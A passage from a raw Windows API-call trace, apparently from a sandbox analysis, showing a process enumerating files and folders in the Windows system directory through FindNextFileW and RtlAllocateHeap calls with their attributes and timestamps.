dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Boot", cAlternateFileName="")) returned 1 [0063.507] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034a90 [0063.507] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2a) returned 0x20406a0 [0063.507] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x5562e640, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x5562e640, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0xa06239c0, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="bootstat.dat", cAlternateFileName="")) returned 1 [0063.507] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Branding", cAlternateFileName="")) returned 1 [0063.507] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034aa0 [0063.507] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x32) returned 0x20406d8 [0063.507] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x98abb4cc, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaad14480, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xaad14480, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="CSC", cAlternateFileName="")) returned 1 [0063.507] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034ab0 [0063.507] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x28) returned 0x20af8f8 [0063.507] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x806ac8bc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806ac8bc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Cursors", cAlternateFileName="")) returned 1 [0063.507] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034ac0 [0063.507] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x30) returned 0x2040718 [0063.507] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8a36d94, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0x782cee30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x782cee30, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="debug", cAlternateFileName="")) returned 1 [0063.507] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034ad0 [0063.507] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2c) returned 0x2040750 [0063.507] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800b91b1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800b91b1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0063.507] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034ae0 [0063.507] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x38) returned 0x2040788 [0063.507] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3763cf0c, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa9eeab22, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x3763cf0c, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="DigitalLocker", cAlternateFileName="DIGITA~1")) returned 1 [0063.507] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034af0 [0063.507] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x3c) returned 0x20407c8 [0063.507] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x806ac8bc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806ac8bc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Downloaded Program Files", cAlternateFileName="DOWNLO~1")) returned 1 [0063.508] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034b00 [0063.508] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x52) returned 0x2040810 [0063.508] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffb94625, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xffb94625, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xc42eeb80, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0xae6, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="DtcInstall.log", cAlternateFileName="DTCINS~1.LOG")) returned 1 [0063.508] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x996cd9eb, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa9fa1e6a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cf49440, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="ehome", cAlternateFileName="")) returned 1 [0063.508] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034b10 [0063.508] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2c) returned 0x2040870 [0063.508] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3757e82b, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x23fb0799, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="en-US", cAlternateFileName="")) returned 1 [0063.508] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034b20 [0063.508] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2c) returned 0x20408a8 [0063.508] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2bd400, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="explorer.exe", cAlternateFileName="")) returned 1 [0063.508] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x87c438a0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x87c438a0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0063.508] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034b30 [0063.508] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2c) returned 0x20408e0 [0063.508] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0a7e9b0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc0a7e9b0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2da8a60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="fveupdate.exe", cAlternateFileName="")) returned 1 [0063.508] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe9340f25, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Globalization", cAlternateFileName="GLOBAL~1")) returned 1 [0063.508] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034b40 [0063.508] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x3c) returned 0x2040918 [0063.508] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe3f9894, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d967bdb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d967bdb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Help", cAlternateFileName="")) returned 1 [0063.508] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034b50 [0063.508] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2a) returned 0x2040960 [0063.508] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34a5a972, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x34a5a972, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xe391cc70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="HelpPane.exe", cAlternateFileName="")) returned 1 [0063.508] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16ca6ff3, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x16ca6ff3, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xe391cc70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="hh.exe", cAlternateFileName="")) returned 1 [0063.508] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe445b48, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3763cf0c, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3763cf0c, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="IME", cAlternateFileName="")) returned 1 [0063.508] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034b60 [0063.508] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x28) returned 0x20af928 [0063.508] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe50420a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa2aca110, ftLastAccessTime.dwHighDateTime=0x1d70913, ftLastWriteTime.dwLowDateTime=0xa2aca110, ftLastWriteTime.dwHighDateTime=0x1d70913, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="inf", cAlternateFileName="")) returned 1 [0063.508] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034b70 [0063.508] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x28) returned 0x20af958 [0063.508] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x5031f80, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0xe7be7e10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe7be7e10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Installer", cAlternateFileName="INSTAL~1")) returned 1 [0063.508] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034b80 [0063.509] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x34) returned 0x2040998 [0063.509] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80b6f4c5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80b6f4c5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="L2Schemas", cAlternateFileName="L2SCHE~1")) returned 1 [0063.509] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034b90 [0063.509] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x34) returned 0x20409d8 [0063.509] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe60eb80, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="LiveKernelReports", cAlternateFileName="LIVEKE~1")) returned 1 [0063.509] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034ba0 [0063.509] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x44) returned 0x2040a18 [0063.509] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x24316f70, ftLastAccessTime.dwHighDateTime=0x1d706af, ftLastWriteTime.dwLowDateTime=0x24316f70, ftLastWriteTime.dwHighDateTime=0x1d706af, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Logs", cAlternateFileName="")) returned 1 [0063.509] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034bb0 [0063.509] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2a) returned 0x2040a68 [0063.509] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8105822e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8105822e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Media", cAlternateFileName="")) returned 1 [0063.509] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034bc0 [0063.509] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2c) returned 0x2040aa0 [0063.509] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f29dbd7, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x7f29dbd7, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9d4aec0c, ftLastWriteTime.dwHighDateTime=0x1ca040e, nFileSizeHigh=0x0, nFileSizeLow=0xa87b, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="mib.bin", cAlternateFileName="")) returned 1 [0063.509] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe6f339c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbb15e70, ftLastAccessTime.dwHighDateTime=0x1d75d2a, ftLastWriteTime.dwLowDateTime=0xbb15e70, ftLastWriteTime.dwHighDateTime=0x1d75d2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0063.509] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034bd0 [0063.509] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x3c) returned 0x2040ad8 [0063.509] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf40e6d30, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0xf40e6d30, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xf40e6d30, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Migration", cAlternateFileName="MIGRAT~1")) returned 1 [0063.509] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034be0 [0063.509] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x34) returned 0x2040b20 [0063.509] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfea5f2b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfea5f2b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9fcbcbb0, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="ModemLogs", cAlternateFileName="MODEML~1")) returned 1 [0063.509] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034bf0 [0063.509] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x34) returned 0x2040b60 [0063.509] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc82fedc8, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xc82fedc8, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x2d6b0bf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x57d, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="msdfmap.ini", cAlternateFileName="")) returned 1 [0063.509] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eb2c4cd, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x8eb2c4cd, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xeb804920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f400, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="notepad.exe", cAlternateFileName="")) returned 1 [0063.509] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x810320ce, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x810320ce, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Offline Web Pages", cAlternateFileName="OFFLIN~1")) returned 1 [0063.509] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040bb8 [0063.510] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x44) returned 0x2040fa0 [0063.510] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c49b960, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x788c2530, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x788c2530, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Panther", cAlternateFileName="")) returned 1 [0063.510] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040bc8 [0063.510] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x30) returned 0x2040ff0 [0063.510] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Performance", cAlternateFileName="PERFOR~1")) returned 1 [0063.510] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040bd8 [0063.510] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x38) returned 0x2041028 [0063.510] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e1cc01, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xc4e1cc01, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0x87c69a00, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x583a, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="PFRO.log", cAlternateFileName="")) returned 1 [0063.510] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfea8540c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeaf781a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeaf781a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="PLA", cAlternateFileName="")) returned 1 [0063.510] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040be8 [0063.510] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x28) returned 0x20af988 [0063.510] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb1d974, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x495c5340, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x495c5340, 